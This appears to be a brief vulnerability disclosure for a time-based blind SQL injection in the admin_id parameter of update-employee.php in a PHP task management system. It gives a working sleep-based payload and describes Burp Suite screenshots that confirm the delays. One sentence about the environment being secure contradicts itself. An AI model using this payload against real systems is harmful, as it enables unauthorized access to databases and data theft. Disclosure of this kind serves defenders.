

SQL injection vulnerability exists in admin_id parameter of update-employee.php file of php task management system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

The screenshot shows a Burp Suite interface with a target URL of http://192.168.31.163. The Request tab displays a POST request to /taskmatic/update-employee.php?admin_id=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z HTTP/1.1. The Content-Type is application/x-www-form-urlencoded. The Response tab shows a 302 Found status with headers including Server: nginx/1.15.11, Date: Tue, 02 Apr 2024 05:37:55 GMT, and Content-Type: text/html; charset=UTF-8. The Inspector panel on the right shows the selected text as sleep(4). The status bar at the bottom indicates 9,362 bytes and 4,004 millis.

Sleep time is 14s:

The screenshot shows a Burp Suite interface with a target URL of http://192.168.31.163. The Request tab displays a POST request to /taskmatic/update-employee.php?admin_id=0'XOR(if(now())=sysdate())%2Csleep(14)%2C0))XOR'Z HTTP/1.1. The Content-Type is application/x-www-form-urlencoded. The Response tab shows a 302 Found status with headers including Server: nginx/1.15.11, Date: Tue, 02 Apr 2024 05:40:22 GMT, and Content-Type: text/html; charset=UTF-8. The Inspector panel on the right shows the selected text as sleep(14). The status bar at the bottom indicates 9,362 bytes and 14,006 millis.

Payload: admin_id=0'XOR(if(now())=sysdate())%2Csleep(14)%2C0))XOR'Z

Source Download:

<https://www.sourcecodester.com/php/17217/employee-management-system-php-and-mysql-free-download.html>